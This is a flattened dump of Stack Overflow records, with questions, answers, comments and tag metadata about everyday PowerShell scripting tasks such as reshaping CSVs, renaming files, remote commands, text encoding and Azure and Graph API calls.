has body: I have issue with one of my CSV which is exported from 3rd part tool vendor. Data looks like below FQDN Days device_1 Fri 20:00-23:59; Sat 00:00-23:59; Sun 00:00-23:59, Mon 00:00-07:00 device_2 Fri 20:00-23:59; Sat 00:00-23:59; Sun 00:00-23:59, Mon 00:00-07:00 device_3 Fri 20:00-23:59; Sat 00:00-23:59; Sun 00:00-23:59, Mon 00:00-07:00 device_4 Fri 22:00-23:59; Sat 00:00-23:59; Sun 00:00-23:59, Mon 00:00-07:00 device_5 Mon 00:00-:08:45, 23:00-23:59; Tue 00:00-08:45, 23:00-23:59; Wed 00:00-08:45, 23:00-23:59; Thu 00:00-08:45, 23:00-23:59; Fri 00:00-08:45, 23:00-23:59; Sat Fri 00:00-08:45, 23:00-23:59; Sun Fri 00:00-08:45, 23:00-23:59; device_6 Mon 00:00-00:00, 23:45-23:59; Tue 00:00-00:00, 23:45-23:59; Wed 00:00-00:00, 23:45-23:59; Thu 00:00-00:00, 23:45-23:59; Fri 00:00-00:00, 23:45-23:59; Sat 00:00-00:00, 23:45-23:59; Sun 00:00-00:00, 23:45-23:59; device_7 Mon 00:00-00:00, 23:45-23:59; Tue 00:00-00:00, 23:45-23:59; Wed 00:00-00:00, 23:45-23:59; Thu 00:00-00:00, 23:45-23:59; Fri 00:00-00:00, 23:45-23:59; Sat 00:00-00:00, 23:45-23:59; Sun 00:00-00:00, 23:45-23:59; device_8 Mon 00:00-00:00, 23:45-23:59; Tue 00:00-00:00, 23:45-23:59; Wed 00:00-00:00, 23:45-23:59; Thu 00:00-00:00, 23:45-23:59; Fri 00:00-00:00, 23:45-23:59; Sat 00:00-00:00, 23:45-23:59; Sun 00:00-00:00, 23:45-23:59; I need to convert this file using PowerShell to have time for specific day in separate column with name of day. Moreover I see that data in initial "Days" columns is not in regular week day order and it need to be assigned into correct column. looks like below FQDN Mon Tue Wed Thu Fri Sat Sun device_1 00:00-07:00 20:00-23:59 00:00-23:59 00:00-23:59 device_2 00:00-07:00 20:00-23:59 00:00-23:59 00:00-23:59 device_3 00:00-07:00 20:00-23:59 00:00-23:59 00:00-23:59 device_4 00:00-07:00 20:00-23:59 00:00-23:59 00:00-23:59 device_5 00:00-:08:45, 23:00-23:59 00:00-08:45, 23:00-23:59 00:00-08:45, 23:00-23:59 00:00-08:45, 23:00-23:59 00:00-08:45, 23:00-23:59 00:00-08:45, 23:00-23:59 00:00-08:45, 23:00-2…
score: -3
has comment: http://stackoverflow.com/comment/139448679
has answer: http://stackoverflow.com/a/79086028
answer count: 1
downvote count: 3
tagged with: powershell
has title: Powershell split data from column into multiple column
upvote count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
favorite count: 0
has comment: http://stackoverflow.com/comment/139448724

http://stackoverflow.com/q/79156956
upvote count: 1
has body: I am trying to get the status of Azure SQL MI however the Get-AzSqlInstance does not return the status. If running or stopped. What is the easiest way to get this?
favorite count: 0
has answer: http://stackoverflow.com/a/79157018
tagged with: rest
type: Question
downvote count: 0
tagged with: powershell
answer count: 1
tagged with: azure-sql-managed-instance
type: UnansweredQuestion
tagged with: azure
score: 1
has title: How can I get the Status of an Azure SQL MI using powershell or REST API?

http://stackoverflow.com/comment/139533082
type: Comment
has text: Also, now that it is working, I don't need to capture any errors, but thank you for your insight into that part of the code.
score: 0
comment on: http://stackoverflow.com/a/79131379
type: AnswerComment

get-childitem
type: Tag
tags question: http://stackoverflow.com/q/79238099
tag name: get-childitem
tags question: http://stackoverflow.com/q/79105294
tags question: http://stackoverflow.com/q/79333742
tags question: http://stackoverflow.com/q/79347170
tags question: http://stackoverflow.com/q/79542060
tags question: http://stackoverflow.com/q/79495529
tags question: http://stackoverflow.com/q/79511807

http://stackoverflow.com/comment/139444516
type: Comment
score: 1
has text: As an aside, re the specific error at hand: It is _PowerShell_ complaining that it cannot perform the `>>` redirection, not the `deno` CLI. Not only does the specific _file_ pointed to by `$PROFILE` not exist by default, neither does its _directory_, which causes the error you saw. Additionally, the use of `>>` instead of `| Add-Content` risks corruption of a preexisting `$PROFILE` file due to potentially mixing encodings, and the syntax `.$profile` is treacherous, because the lack of a space after `.` only happens to work because the operand starts with `$`. Worth giving them feedback.
comment on: http://stackoverflow.com/q/79077628
type: QuestionComment

http://stackoverflow.com/q/79115793
answer count: 1
has answer: http://stackoverflow.com/a/79115864
accepted answer: http://stackoverflow.com/a/79115864
type: Question
downvote count: 0
score: 2
upvote count: 2
tagged with: powershell
type: AnsweredQuestion
has body: I have a series of .pdf files where the name contains an old file number, and I'd like to convert it to the new file number. However, I only want to change the file number portion, I don't want to rename the whole document. There also isn't consistency in the document names, so I can't just put the entire path in a .csv and do them that way. For example, based on the following .csv: oldname,newname A12345,A98765 A00645,A39502 The following files: A12345 Termination Letter.pdf A00645 Correspondence.pdf Would become: A98765 Termination Letter.pdf A39502 Correspondence I currently use the following script to remove or replace single words in the names of files in a given directory (in this example, I replace - Copy with nothing): $path = "C:\path" $filter = '*.pdf' get-childitem -path $path -filter $filter | rename-item -newname {$_.name -replace '- Copy',''} I'm trying to work off this to build something that will work the same way, but pull the replacement words from a .csv so I can do multiple replacements at once. I'm not sure if I'm just not using the right syntax in my searching, but I keep finding ways to rename whole documents, change words in a .csv, etc. I'm essentially just looking to do a find and replace.
has title: Replace Words in File Names Based on Imported CSV
tagged with: http://stackoverflow.com/tag/csv
favorite count: 0
has comment: http://stackoverflow.com/comment/139504858

http://stackoverflow.com/comment/139582211
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79158483
type: QuestionComment
has text: What values do you see when calling `GetWindowText` on the browser Windows? Do they match the strings hardcoded in your script?

http://stackoverflow.com/comment/139718127
has text: @Mathias R. Jessen : YES it works! thank you very much. You can make the answzr and i will validate it.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79231195
score: 0

http://stackoverflow.com/comment/139596311
type: QuestionComment
comment on: http://stackoverflow.com/q/79164514
has text: @Charlieface I'm running the script within the remote session itself
type: Comment
score: 0

http://stackoverflow.com/q/79196182
score: 1
favorite count: 0
has title: Is there a way to create an immutable record type that supports @{} object initialization?
type: Question
downvote count: 0
has answer: http://stackoverflow.com/a/79197517
answer count: 1
has comment: http://stackoverflow.com/comment/139652445
tagged with: immutability
tagged with: .net
tagged with: c#
tagged with: initialization
tagged with: powershell
has body: The following code creates a C# record type, instantiates it using the hashtable object initialization idiom, then modifies the record's field: Add-Type -TypeDefinition @' namespace n { public record r { public string s {get; init;} } } '@ $r = [n.r]@{s='value'} $r $r.s = 'new_value' $r The field s is, ostensibly, read-only after initialization, however, the output is as follows: s - value new_value The corresponding C# using System; namespace n { public record r { public string s {get; init;} } } public class Program { public static void Main() { var r = new n.r {s="value"}; r.s = "new_value"; } } indeed enforces immutability at compile time with the error Compilation error (line 13, col 3): Init-only property or indexer 'r.s' can only be assigned in an object initializer, or on 'this' or 'base' in an instance constructor or an 'init' accessor. I am looking for a way to create a type with the following features: properties are read-only after initialization objects can be created using a terse named initialization syntax (e.g. [n.r]@{s='value'} or similar) is a customary .Net type naturally understood by the C# compiler can be compiled into to an assembly and then provided to Add-Type -ReferenceAssemblies Can such a type be created? Types that don't work The code below attempts to accomplish this with each way I could think of to create such an immutable record type in C#. (I'm no C# expert, so I expect I probably missed some.) For reference it also attempts the same with New-Object -Property. It outputs the following: OK cl init_error init_origi init_mod_error init_after new_error new_origin new_mod_error new_after_ as nal _mod al mod s -- -- ---------- ---------- -------------- ---------- --------- ---------- ------------- ---------- X r1 value new_value value new_value X r2 value new_value value new_value X r3 value new_value value new_value X r4 value new_value value new_value X r5 Cannot create object of type … The property 's' cannot be fo… The value supplied…
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/comment/139551630
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79141485
type: AnswerComment
has text: Checking out feasibility of solutions offered, thanks for the input.

http://stackoverflow.com/comment/139690701
type: Comment
has text: You can run .toXml() on the eventLogRecord objects as well.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79216575

http://stackoverflow.com/comment/139609594
comment on: http://stackoverflow.com/q/79172648
has text: Does this answer your question: [Slice a PowerShell array into groups of smaller arrays](https://stackoverflow.com/q/45948580/1701026) (also note: https://stackoverflow.com/a/73732564/1701026)
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79078591
has comment: http://stackoverflow.com/comment/139436809
type: Question
has comment: http://stackoverflow.com/comment/139436621
answer count: 1
has title: PowerShell Class Method return Type as parameter (like JavaScriptSerializer.Deserialize)
has comment: http://stackoverflow.com/comment/139437219
score: 2
upvote count: 2
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has body: I'm trying to build a Method inside a Class, that accepts the required return type as a parameter. An example of this, is the System.Web.Script.Serialization.JavaScriptSerializer Class, Deserialize Method. It takes two parameters, A JSON text and the return type that it is expected to return. If I were to do something like below, and provided the $JSONConect contains valid information about the Class I want to use, I get a proper Object of type [Test] $JSSerializer = New-Object System.Web.Script.Serialization.JavaScriptSerializer $JSONObject = [MyData]::New( ) If( $JSONContent -ne $null ) { $JSONObject = $JSSerializer.Deserialize( $JSONContent, [MyData] ) } I have tried building something this, but I get errors on the return type. class Test { [Type] TestType( [Type]$AParam ) { Write-Host "Your provided the type : $AParam" $Result = New-Object $AParam Write-Host "Your provided the value : $Result" Switch( $AParam ) { "bool" { Write-Host "Your provided the type : `"Boolean`"" $Result = $True } "int" { Write-Host "Your provided the type : `"Integer`"" $Result = 2 } "string" { Write-Host "Your provided the type : `"String`"" $Result = "Miep" } Default { Write-Host "Your provided the type : `"Invalid!`"" $Result = $null } } #$Result = [$AParam.GetType( )] #return $Result #return [Type]$( $AParam ) return Write-Output -NoEnumerate $Result } } [bool]$tBool = $False [int]$tInt = 0 [string]$tString = "" $MyTest = [Test]::New( ) $tBool = $MyTest.TestType( [bool] ) $tBool exit $tInt = $MyTest.TestType( [int] ) $tInt $tString = $MyTest.TestType( [string] ) $tString #$MyTest.TestType( $tBool ) #$MyTest.TestType( $tInt ) #$MyTest.TestType( $tString ) The code above works partially, I can provide just a Type as parameter. But it will not return anything. As you can see, I have tried three ways to get this working, but I keep getting errors. With the code as-is above, I get the following error: Your provided the type : bool Your provided the value : False Your provided the type: "…
accepted answer: http://stackoverflow.com/a/79079397
has answer: http://stackoverflow.com/a/79079397
favorite count: 0
tagged with: class
tagged with: oop

http://stackoverflow.com/comment/139552664
comment on: http://stackoverflow.com/a/79141485
has text: The table in question simply has a 'phy' heading rather than the 'band/ht-mode/bandwidth' heading in regards to the matching either of these in that particular slot. same as the table in the original post. if that makes sense
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/79149781
answers question: http://stackoverflow.com/q/79149661
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79149661
type: Answer
score: 1
has body: While the discrepancy is surprising (and no longer affects PowerShell (Core) 7), it is important to note that the specifics of for-display formatting are not part of PowerShell's breaking-changes contract. That is, you should never rely on parsing such for-display-only representations and instead use OO techniques to examine errors that have occurred, such as by examining the automatic $Error variable or the content of a variable designated to receive cmdlet-specific errors via the common -ErrorVariable parameter, both of which store [System.Management.Automation.ErrorRecord] instances. In PowerShell 7, you can use the Get-Error cmdlet for easier visual inspection of errors.
upvote count: 1

http://stackoverflow.com/comment/139685272
score: 0
has text: @akseli - agreed, there are similar elements. I *think* the difference with mine is, according to the answers below, I cannot use the three pieces directly. I have to get an access token to make the call.
comment on: http://stackoverflow.com/q/79213119
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139712267
has text: Yes right. Both commands belong to the same Az family cmdlets. Connect-AzAccount is an Az PowerShell command which initializes an Azure session for the PowerShell module, typically depends on an authentication mechanism provided at runtime. (Eg: GitHub actions) whereas Get-AzAccesstoken is also an Az PowerShell command that retrieves an access token for a specified resource here it is MSGraph. It initiates its own authentication flow rather than reusing the authenticated login session. @Shuzheng
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79223169

http://stackoverflow.com/comment/139510747
comment on: http://stackoverflow.com/q/79118908
has text: To make it go faster you need to restrict what your asking powershell to fetch. Its not very fast with very large numbers of files/directories. Read `Get-ChildItem` docs for some options - https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem#parameters - `-filter` as @js2010 is a good start, but generally being more specific is better for performance so read up on `-Attributes` ,`-Depth` & `-Exclude` and see if you can apply them to your situation. And use `measure-command` to test your code/changes!
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79125645
tagged with: powershell
tagged with: explorer
has body: I upgraded from win10 to win11 and a Powershell script that I have that opens shares does not work any longer, which worked every time in win10. It seems to only do this behavior with network shares. The code snippet that isn't working is Start-Process &quot;\\share\directory\&quot; -WindowStyle Minimized; For some reason the minimization does not function properly, the window will instead be located off of screen and restoring it places it off of screen? Is this a known issue? Below is how the taskbar appears
has title: Start-Process with -WindowStyle Minimized does not work on Win11
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/73675340
has answer: http://stackoverflow.com/a/79127010
answer count: 2
type: Question
has answer: http://stackoverflow.com/a/79126115
downvote count: 0
tagged with: windows-11

http://stackoverflow.com/a/79173234
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/139610683
downvote count: 0
type: Answer
has body: I just found solution: $arr = 'It is all for you','It is for you' $arr | % {$_ -split '(?&lt;!all) for'}
answers question: http://stackoverflow.com/q/79173130

http://stackoverflow.com/q/79117908
has body: until recently i used the following script (slightly modified...) to simply delete all contacts (...not just duplicates) in EXO mailboxes: graph-Remove-Duplicate-Contacts.ps1 I am at a loss, because I fail to find the reason why. I get tho following error: Invoke-RestMethod : The remote server returned an error: (401) Unauthorized. At C:\...\bin\graph-Delete\POC-graph-DeleteExistingContacts.ps1:136 char:33 + ... eRequest = (Invoke-RestMethod -Headers @{Authorization = &quot;Bearer $($T ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebException + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand I see error 401, which makes no sense, since i use a similar script to populate mailboxes with contacts (using same App registration and all). If you also can not figure out the reason why or how this can be fixed, do you know any other methods to achieve the goal of clearing all personal contacts of a mailbox? (Where it is possible to do that automaticaly and unsupervised) Thanks in advance I checked if all permissions are in place (Azure Enterprise Application -&gt; App registration) Microsoft Docs, Communities, ChatGPT I expect that all contacts within the Mailbox (UPN:\Contacts) will be deleted.
has title: Delete personal contacts (stored) in an ExchangeOnline Mailbox using Powershell-Graph-API
tagged with: powershell
tagged with: exchange-online
tagged with: microsoft-graph-api
has answer: http://stackoverflow.com/a/79120127
tagged with: import-contacts
score: 0
type: UnansweredQuestion
type: Question
tagged with: contacts
answer count: 1

http://stackoverflow.com/comment/139636810
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79187311
has text: See https://github.com/tj-actions/changed-files and https://github.com/tj-actions/changed-files?tab=readme-ov-file#outputs-.

invoke-command
type: Tag
tags question: http://stackoverflow.com/q/79075932
tag name: invoke-command
tags question: http://stackoverflow.com/q/79278916
tags question: http://stackoverflow.com/q/79286119
tags question: http://stackoverflow.com/q/79475426
tags question: http://stackoverflow.com/q/79525408

http://stackoverflow.com/comment/139510780
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79118908
type: QuestionComment
has text: You might create your own recursive function (or better use a `Stack`, see e.g. https://stackoverflow.com/a/78354655/1701026) to crawl through all the folders. For complete answer, on how to do that, I recommend you set up a *working* (but poor performing) [mcve] of what you trying to achieve.

http://stackoverflow.com/comment/139644594
type: AnswerComment
comment on: http://stackoverflow.com/a/79158066
type: Comment
score: 1
has text: Yes, Im still faced this problem. (upper comment)

http://stackoverflow.com/comment/139459357
type: Comment
comment on: http://stackoverflow.com/q/79078578
score: 0
has text: Here is the data from key.txt
type: QuestionComment

http://stackoverflow.com/a/79169256
has body: EDIT: corrected for joining paths inside the remote command. Stinks of invisible characters messing up or problem passing variables for some reason. Try this: $prod_relational_datastore = 'computer1' , 'computer2' foreach ($hostname in $prod_relational_datastore) { # Let's prepare the paths variables in advance for easier debug. $DomainServerPath = "D:\arcgisdatastore\logs\$($hostname).domain\server" $LogNamesPath = "D:\arcgisdatastore\logs$($hostname)" Write-Host 'Searching '$LogNamesPath' for latest log file' -ForegroundColor Yellow # Passing variables through -ArgumentList is the safer option. $LatestLogName = Invoke-Command -ArgumentList $LogNamesPath -ScriptBlock { $LogNamesPath = $args[0] Get-ChildItem -Path $LogNamesPath -Recurse -Filter server*.log | # Because you already are using Select-Object there is no need # to encapsulate, just expand the property you need. Select-Object -Last 1 -ExpandProperty Name } -ComputerName $Hostname Invoke-Command -ArgumentList $DomainServerPath, $LatestLogName -ScriptBlock { # Use Join-Path to minimize typing mistakes. $LogFilePath = Join-Path -Path $args[0] -ChildPath $args[1] Write-Host $LogFilePath -ForegroundColor Red # Evaluate adding error control in case the file is not actually there. Get-Content -Path $LogFilePath -Tail 10 } -ComputerName $Hostname }
has comment: http://stackoverflow.com/comment/139611161
has comment: http://stackoverflow.com/comment/139617425
answers question: http://stackoverflow.com/q/79168506
upvote count: 2
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/comment/139447643
has text: @Alfyn: I cannot reproduce this behavior, except if a define a `python3` command that produces _no output_, e.g. by defining the following function: `function python3 { }`
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79084361

http://stackoverflow.com/comment/139613398
type: Comment
has text: @Luuk ahh ok got it
comment on: http://stackoverflow.com/a/79172045
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139429099
type: QuestionComment
type: Comment
score: 2
has text: Can you share the output (including any error messages)?
comment on: http://stackoverflow.com/q/79074595

http://stackoverflow.com/comment/139737606
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79244326
has text: Why not just use `-Recurse` instead of trying to do the recursion logic yourself?

http://stackoverflow.com/q/79070426
has answer: http://stackoverflow.com/a/79070500
type: Question
has body: I have the following PS script which scans a location which will have logs files added hourly, i would like the following script to scan the location and only work on teh most recent log file, can someone please help me identify what i need to add into teh script plase: Hi all, I got the following powereshell script that is scannign all present log files, but im trying to add a condition so it only checks the most recent, i know its a small thing just can get it to work Any pointers would be great... $logFilePath = '\\MyLogFiles\Files*.log' $SearchString = 'TOTAL DATA ENTRY' $outputFilePath = "C:\Reports\Results\Success $(get-date -f yyyy-MM-dd).txt" Select-String -Path $logFilePath -Pattern $searchString -SimpleMatch | Set-Content $outputFilePath $sendMailMessageSplat = @{ To = 'Joanne.Bloggs@Mail.com' From = 'Joe.Bloggs@Mail.com' Subject = "Weekly logs - $(get-date -f yyyy-MM-dd).txt" Body = 'See attached' Attachments = "C:\Reports\Results\Success $(get-date -f yyyy-MM-dd).txt" SmtpServer = 'mail.server.com' } Send-MailMessage @sendMailMessageSplat
answer count: 1
downvote count: 0
tagged with: powershell
has title: Powershell - checking latest log file
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0

http://stackoverflow.com/a/79213413
downvote count: 0
type: Answer
has body: Solved! the URL is incorrect: $apiURL = “https://ssaddress/ss/winauthwebservices/api/v1/secrets/$SecretId” it should be: $apiURL = “https://ssaddress/ss/api/v1/secrets/$SecretId”
upvote count: 1
has comment: http://stackoverflow.com/comment/139683785
answers question: http://stackoverflow.com/q/79213205
score: 1

http://stackoverflow.com/comment/139449557
has text: If you do the followings:1. Install the latest powershell from [here](https://aka.ms/PSWindows) 2.Replace the old one 3. manually download and install VisualCpp.Redist pacakge. 4 Repair or Reinstall your VS. will it work?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79084760
score: 0

http://stackoverflow.com/comment/139558763
comment on: http://stackoverflow.com/q/79145598
score: 1
has text: Yeah, I did. But I see now that I messed up the quotationmarks in my latest attempt. It works now! :) Thank you very much!
type: QuestionComment
type: Comment

error-handling
tag name: error-handling
tags question: http://stackoverflow.com/q/79112268
type: Tag
tags question: http://stackoverflow.com/q/79209007
tags question: http://stackoverflow.com/q/79350494
tags question: http://stackoverflow.com/q/79258378
tags question: http://stackoverflow.com/q/79442428
tags question: http://stackoverflow.com/q/79422122
tags question: http://stackoverflow.com/q/79503931
tags question: http://stackoverflow.com/q/79511807

windows-11
tags question: http://stackoverflow.com/q/79125645
type: Tag
tag name: windows-11
tags question: http://stackoverflow.com/q/79176779
tags question: http://stackoverflow.com/q/79088047
tags question: http://stackoverflow.com/q/79334624
tags question: http://stackoverflow.com/q/79532456
tags question: http://stackoverflow.com/q/79512949
tags question: http://stackoverflow.com/q/79460141
tags question: http://stackoverflow.com/q/79506247
tags question: http://stackoverflow.com/q/79499690

http://stackoverflow.com/comment/139685234
type: QuestionComment
type: Comment
has text: This is expected if the where clause did not match.
score: 0
comment on: http://stackoverflow.com/q/79214246

http://stackoverflow.com/q/79167030
has answer: http://stackoverflow.com/a/79167139
type: Question
downvote count: 0
accepted answer: http://stackoverflow.com/a/79167139
has title: PowerShell - Running Class code locally vs remote
answer count: 1
tagged with: module
score: 2
upvote count: 2
tagged with: remote-execution
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139598502
favorite count: 0
tagged with: class
has body: I am working on a class, which has to run both locally and remote. A simplified version is in the code below. Assuming that: I cannot start an RDP session to the remote server, but can execute PowerShell code remotely. So no "Go to the server, and run the code there" please, this is a simplified version, the full code has to run over dozens of servers. the modules used (C:\Test\MyEmployee.psm1) is guaranteed to exist in that folder, both locally and remotely, via an automatic system, which updates after every save. the remote computer is called "remote". It's not, in my script, I do use the correct server name though. The module file C:\Test\MyEmployee.psm1 looks like this: using namespace System.Collections.Generic class MyEmployee { [int]$UniqueID [string]$Firstname [string]$Lastname [string]$Folder MyEmployee( [int]$ID, [string]$First, [string]$Last, [string]$Folder ) { $this.UniqueID = $ID $this.Firstname = $First $this.Lastname = $Last If( $Folder.Length -lt 0 ) { $this.Folder = $Folder } Else { $this.Folder = "Employee" + $this.UniqueID.ToString( ).PadLeft( 5 , "0" ) } } } class MyEmployees { [List[MyEmployee]]$Employees MyEmployees( ) { $this.Employees = [List[MyEmployee]]::New( ) } } The calling script looks like this: using Module "C:\Test\MyEmployee.psm1" Function RunCode( ) { $MyEmps = [MyEmployees]::New( ) $MyEmp = [MyEmployee]::New( 1, "John", "Doe", "" ) $MyEmps.Employees.Add( $MyEmp ) ForEach( $MyEmp in $MyEmps.Employees ) { Write-Host "Employee $( $MyEmp.UniqueID ) : $( $MyEmp.Lastname ), $( $MyEmp.Firstname ) " } } $ScriptBlock = { Import-Module "C:\Test\MyEmployee.psm1" $MyEmps = [MyEmployees]::New( ) $MyEmp = [MyEmployee]::New( 1, "John", "Doe", "" ) $MyEmps.Employees.Add( $MyEmp ) ForEach( $MyEmp in $MyEmps.Employees ) { Write-Host "Employee $( $MyEmp.UniqueID ) : $( $MyEmp.Lastname ), $( $MyEmp.Firstname ) " } } Clear-Host $LocalHost = $Env:ComputerName $Servername = $LocalHost #$Servername = "remote" If( $Servername -eq $LocalHost ) { RunCode }…

http://stackoverflow.com/comment/139665616
type: Comment
comment on: http://stackoverflow.com/q/79203758
score: 0
type: QuestionComment
has text: If you have the chance to test with pwsh 7 probably wouldn't have this issue. A few things you can test, 1. change the encoding of your `ps1` script file. 2. try with utf8 with a BOM (`$OutputEncoding = [Console]::InputEncoding = [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new($true)`

http://stackoverflow.com/comment/139477352
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79100678
has text: Be warned, AI content cannot be posted.

permissions
tag name: permissions
type: Tag
tags question: http://stackoverflow.com/q/79234580
tags question: http://stackoverflow.com/q/79277115
tags question: http://stackoverflow.com/q/79528025

http://stackoverflow.com/q/79199122
accepted answer: http://stackoverflow.com/a/79199171
has body: I'm currently working in an environment with the culture set to "$PSCulture de-DE". When I execute the command: Test-Path 'C:\Users' it returns True. However, in Windows Explorer, I see 'Benutzer' instead of 'Users'. When I run the command: Test-Path 'C:\Benutzer' it returns False. How can I tell PowerShell to recognize localized folder names?
downvote count: 0
answer count: 1
type: AnsweredQuestion
tagged with: powershell
upvote count: 1
score: 1
favorite count: 0
has title: Test-Path doesn't found localised folder names
has answer: http://stackoverflow.com/a/79199171
type: Question

http://stackoverflow.com/comment/139468198
has text: But I want to clarify the quality of your and the other answers. Thank you!
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/79095487
type: Comment

http://stackoverflow.com/comment/139714856
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79230965
score: 1
has text: @iRon Thanks for your reply. I was able to achieve what I wanted by creating a Scheduled Task and have it run on every login. Which works for me.

http://stackoverflow.com/comment/139675176
has text: we don't have computers with multiple HDDs so not really expecting any out ot the ordinary results.
comment on: http://stackoverflow.com/q/79186087
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/140103599
has text: for cron custom scale rules, is it schedule or start/end that is required? i have tried both with no luck. i am trying to scale down to 0 outside of 6am-7pm, but doesnt do it. I notice u are using UTC. perhaps with chron it must be UTC as i was using region as America/New_York
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79210674
type: Comment

http://stackoverflow.com/comment/139672338
score: 0
has text: added an answer to explain how you can approach the process of understanding what this is doing. hopefully you didnt execute this
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79207415

http://stackoverflow.com/q/79137517
has comment: http://stackoverflow.com/comment/139544102
tagged with: sql
type: UnansweredQuestion
score: 0
has title: Cannot change the SQL CommandText within a function nexted in a modules file
has answer: http://stackoverflow.com/a/79137533
tagged with: mariadb
type: Question
has comment: http://stackoverflow.com/comment/139544142
linked to: http://stackoverflow.com/q/7505808
answer count: 1
has body: I have written a function to log information in different ways and placed that function within a modules file. One option is writing the data to an SQL database. In my testfile I create an SQL object with a connection string, commandtext, etc. and then call my function WriteLogNew with the SQL object as parameter. Setting the commandtext property in the SQL Object and then calling the function works fine. But changing the commandtext property within the function results in the following error message: The property of "CommandText" could not be found for this object But getting the "CommandText" from within said function also gives the correct result. I have no idea how to achieve this hence trying to find some help here. The basic setup is the following (I reduced the files to the absolute necessary information). The modules file looks like this function WriteLogNew{ param( [string]$output= "", [string]$filename = "", [string]$path= "", [Parameter(Mandatory)][String]$writeLogMethod, [MySql.Data.MySqlClient.MySqlCommand[]]$sql ) if($writeLogMethod -eq 'sql'){ $sql.CommandText = "INSERT INTO `log_test` (`logdate`, `logtext`, `lognumber`) VALUES (NOW(), '" + $output + "', '-2');" $sql.ExecuteNonQuery() } } The testfile looks like this: $path = $env:USERPROFILE+'\powershell\modules' Import-Module -Name $path # -Verbose $argumentsNew = @{ writelogMethod = 'file' } #$SQL_Name=$MysqlhashCred01Plaintext.SqlName $MariaDB_Server = 127.0.0.1 $MariaDB_User = 'user' $MariaDB_Pwd = 'password' $MariaDB_Port = 3306 # Timeout parameters $timeout = 3600 # Connect to the library MySQL.Data.dll try{ Add-Type -Path 'C:\Program Files (x86)\MySQL\MySQL Connector NET 9.0\MySql.Data.dll' } catch { } # Connection LogDB (MariaDB) $ConnectionString_MariaDB='server=' + $MariaDB_Server + ';port=' + $MariaDB_Port + ';uid=' + $MariaDB_User + ' ;pwd=' + $MariaDB_Pwd + ';database=ecl;default command timeout=' + $timeout + '; Connection Timeout='+ $timeout $Connection_MariaDB = [MySql.Data.MySqlClien…
tagged with: powershell

http://stackoverflow.com/comment/139726339
has text: I managed to obtain an output with all users and their managers but are returned as bulk, I need a solution now to map each user with his manager from Entra in the output. I will open a new Question for that, thank you for your help
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79132466
type: AnswerComment

http://stackoverflow.com/q/79203758
downvote count: 0
has comment: http://stackoverflow.com/comment/139665616
tagged with: powershell
type: AnsweredQuestion
has body: The program inv.exe returns some console data based on parameters. It seems like a JSON/dictionary, but it's in text format (printed output). It works when I simply call it without trying to capture the output. .\inv.exe getter segments {28: 'Renda Fixa', 29: 'Renda Variável', ... However, if I try to capture it, it doesn't work: $segmentsjson = .\inv.exe getter segments $segmentsjson {28: 'Renda Fixa', 29: 'Renda Vari�vel'.... $segmentsjson = .\inv.exe getter segments | ConvertFrom-Json $segmentsjson {"28": "Renda Fixa", "29": "Renda Vari├ível"... What I tried: 1. chcp 65001 2. $OutputEncoding = [System.Text.Encoding]::UTF8 3. [Console]::OutputEncoding = [System.Text.Encoding]::UTF8 4. $OutputEncoding = [Console]::InputEncoding = [Console]::OutputEncoding = New-Object System.Text.UTF8Encoding 5. .\inv.exe getter segments > test.txt $segmentsjson = Get-Content "test.txt" -Encoding UTF8 6. .\inv.exe getter segments | Out-File -FilePath "output_temp.txt" -Encoding UTF-8 7. cmd /c inv.exe getter segments > test.txt
tagged with: stdout
score: 1
tagged with: printing
tagged with: utf-8
tagged with: output
has answer: http://stackoverflow.com/a/79204338
upvote count: 1
has comment: http://stackoverflow.com/comment/139666595
favorite count: 0
has title: How to capture the output string of a UTF-8 program using PowerShell?
accepted answer: http://stackoverflow.com/a/79204338
type: Question
answer count: 1
linked to: http://stackoverflow.com/q/66904779

http://stackoverflow.com/q/79146364
score: 1
accepted answer: http://stackoverflow.com/a/79146539
upvote count: 1
favorite count: 0
type: Question
tagged with: powershell-module
downvote count: 0
has title: How to prevent loading of .psd1 RequiredModules when Import-Module fails?
tagged with: manifest
tagged with: powershell
has answer: http://stackoverflow.com/a/79146539
answer count: 1
type: AnsweredQuestion
